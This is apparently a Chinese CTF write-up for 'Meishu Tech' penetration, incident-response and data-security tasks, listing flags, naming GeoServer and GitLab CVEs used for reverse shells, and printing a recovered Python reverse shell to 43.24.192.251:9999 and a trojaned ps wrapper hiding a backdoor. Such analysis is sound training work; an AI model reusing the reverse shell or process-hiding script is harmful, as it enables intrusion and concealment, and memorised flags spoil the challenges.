

安全评估

美枢科技-综合渗透-1-v2

http://10.1.113.30/robots.txt:

```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Flag: flag1{8f7452b952c1b0293d60356814d5717d}
```

美枢科技-综合渗透-3

http://10.1.113.30:8080 geoserver CVE-2024-36401 反弹shell:

```
root@e80e8e169570:/mnt/geoserver# cat /flag
cat /flag
flag3{23a71d5872d0df4f9bc04a7cf4450370}
```

美枢科技-综合渗透-4

geoserver环境扫出 http://192.168.190.20:8000/users/sign_in gitlab CVE-2021-22205 反弹shell:

```
git@gitlab:/tmp$ cat /flag
cat /flag
flag4{48a8651199dd4f927831775b8e08bf9b}
```

美枢科技-综合渗透-8

http://192.168.190.20:9000/openv/# 弱口令admin/admin 备份数据库下载:

```
-- 
-- Records of `flag`
-- 
INSERT INTO `flag` VALUES ('1', 'flag8{cf2123e5e6a3919b368449c33b1fa7d9}' , 'mission');
```

安全运维

美枢科技-应急响应-1

查进程，有一段命令执行，解base64就能看到ip和端口：

The screenshot shows the 1stSh interface. In the 'Input' field, there is a long base64 encoded string. In the 'Output' field, the decoded Python code is displayed:

```

import os,socket,subprocess;
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("43.24.192.251", 9999))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        exit()

```

美枢科技-应急响应-4

ps输出没有gitlab服务，显然被修改过，/usr/bin/ps

美枢科技-应急响应-5

/usr/bin/ps是一个sh脚本：

```

#!/bin/bash
/linux-generic & ./linux/ps |grep -v "shell" | grep -v "linux-generic" | grep
"bash"

```

/linux-generic是木马，弄到虚拟机里跑一下抓个流量就能看到回连的ip和端口

10.3.4.66:12615

数据安全

美枢科技-数据安全-1

```

import time
import io
import base64

```

```
from stegano import lsb
from PIL import Image
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def get_watermarked_image(user_id, login_ip, image_path, secret_key):
    ttm = lambda : int((time.time() // 60) * 60)

    try:
        msg = pad(f'{user_id}_{ttm()}_{login_ip}'.encode(), 32)

        ky = (secret_key.encode() + b'\x00'*32)[:32]
        aes = AES.new(ky, AES.MODE_CBC)

        watermark = base64.b64encode(aes.iv + aes.encrypt(msg)).decode()
        t3 = lsb.hide(image_path, watermark)
        ret = io.BytesIO()
        t3.save(ret, format='png')
        ret.seek(0)
        return ret.read()

    except Exception as e:
        print(f"处理水印失败: {e}")
        return None
```

美枢科技-数据安全-2

```
function mask(array $rows) array:{  
    foreach ($rows as &$user)  
    {  
        $phone = $user["phone"];  
        if($phone)  
        {  
            $prefix = substr($phone, 0, 3);  
            $suffix = substr($phone, 8, 3);  
            $masked = $prefix.'*****'.$suffix;  
            $user["phone"] = $masked;  
        }  
    }  
    unset($user);  
    return $rows;  
}
```

美枢科技-数据安全-3

```
UPDATE user_info
SET gender := 'male' WHERE SUBSTRING(id_card,17,1) IN ('1','3','5','7','9');

UPDATE user_info
SET gender := 'female' WHERE SUBSTRING(id_card,17,1) IN ('2','4','6','8','0');
```

美枢科技-数据安全-4

cat /var/log/mysql/query.log, 可以找到MySQL的日志，其中有创建orders表的语句

复制下来，重新向数据库写入

```
INSERT INTO orders (id, user_id, product_id, quantity, status, created_at) VALUES
(1, 4, 10, 2, 'completed', '2024-01-01 10:00:00'),
(2, 17, 3, 2, 'pending', '2024-01-02 10:00:00'),
(3, 12, 3, 4, 'shipped', '2024-01-03 10:00:00'),
(4, 2, 8, 2, 'shipped', '2024-01-04 10:00:00'),
(5, 8, 3, 5, 'shipped', '2024-01-05 10:00:00'),
(6, 1, 2, 1, 'pending', '2024-01-06 10:00:00'),
(7, 6, 2, 4, 'completed', '2024-01-07 10:00:00'),
(8, 5, 7, 5, 'shipped', '2024-01-08 10:00:00'),
(9, 14, 1, 5, 'completed', '2024-01-09 10:00:00'),
(10, 7, 1, 3, 'completed', '2024-01-10 10:00:00'),
(11, 14, 4, 2, 'pending', '2024-01-11 10:00:00'),
(12, 19, 8, 1, 'pending', '2024-01-12 10:00:00'),
(13, 17, 6, 3, 'shipped', '2024-01-13 10:00:00'),
(14, 8, 8, 4, 'shipped', '2024-01-14 10:00:00'),
(15, 9, 9, 1, 'completed', '2024-01-15 10:00:00'),
(16, 10, 1, 3, 'pending', '2024-01-16 10:00:00'),
(17, 8, 8, 5, 'pending', '2024-02-16 10:00:00'),
(18, 19, 4, 2, 'completed', '2024-02-17 10:00:00'),
(19, 13, 1, 3, 'shipped', '2024-02-18 10:00:00'),
(20, 2, 1, 3, 'shipped', '2024-02-19 10:00:00'),
(21, 3, 10, 5, 'pending', '2024-02-20 10:00:00'),
(22, 11, 3, 3, 'completed', '2024-02-21 10:00:00'),
(23, 12, 5, 5, 'pending', '2024-02-22 10:00:00'),
(24, 16, 9, 2, 'shipped', '2024-02-23 10:00:00'),
(25, 1, 1, 1, 'shipped', '2024-02-24 10:00:00'),
(26, 16, 1, 4, 'shipped', '2024-02-25 10:00:00'),
(27, 2, 9, 4, 'pending', '2024-02-26 10:00:00'),
(28, 5, 2, 5, 'shipped', '2024-02-27 10:00:00'),
(29, 7, 9, 1, 'shipped', '2024-02-28 10:00:00'),
(30, 1, 4, 1, 'shipped', '2024-02-29 10:00:00'),
(31, 19, 3, 1, 'completed', '2024-03-01 10:00:00'),
(32, 11, 6, 4, 'pending', '2024-03-02 10:00:00'),
(33, 19, 8, 1, 'shipped', '2024-04-02 10:00:00'),
```

```
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(37, 17, 10, 2, 'pending', '2024-04-06 10:00:00'),  
(38, 4, 10, 5, 'shipped', '2024-04-07 10:00:00'),  
(39, 12, 6, 3, 'pending', '2024-04-08 10:00:00'),  
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(47, 17, 8, 5, 'completed', '2024-04-16 10:00:00'),  
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(49, 15, 2, 5, 'pending', '2024-05-18 10:00:00'),  
(50, 6, 7, 3, 'shipped', '2024-05-19 10:00:00'),  
(51, 13, 8, 1, 'completed', '2024-05-20 10:00:00'),  
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(155, 12, 10, 4, 'shipped', '2025-02-28 10:00:00'),  
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(183, 9, 6, 3, 'completed', '2025-05-27 10:00:00'),  
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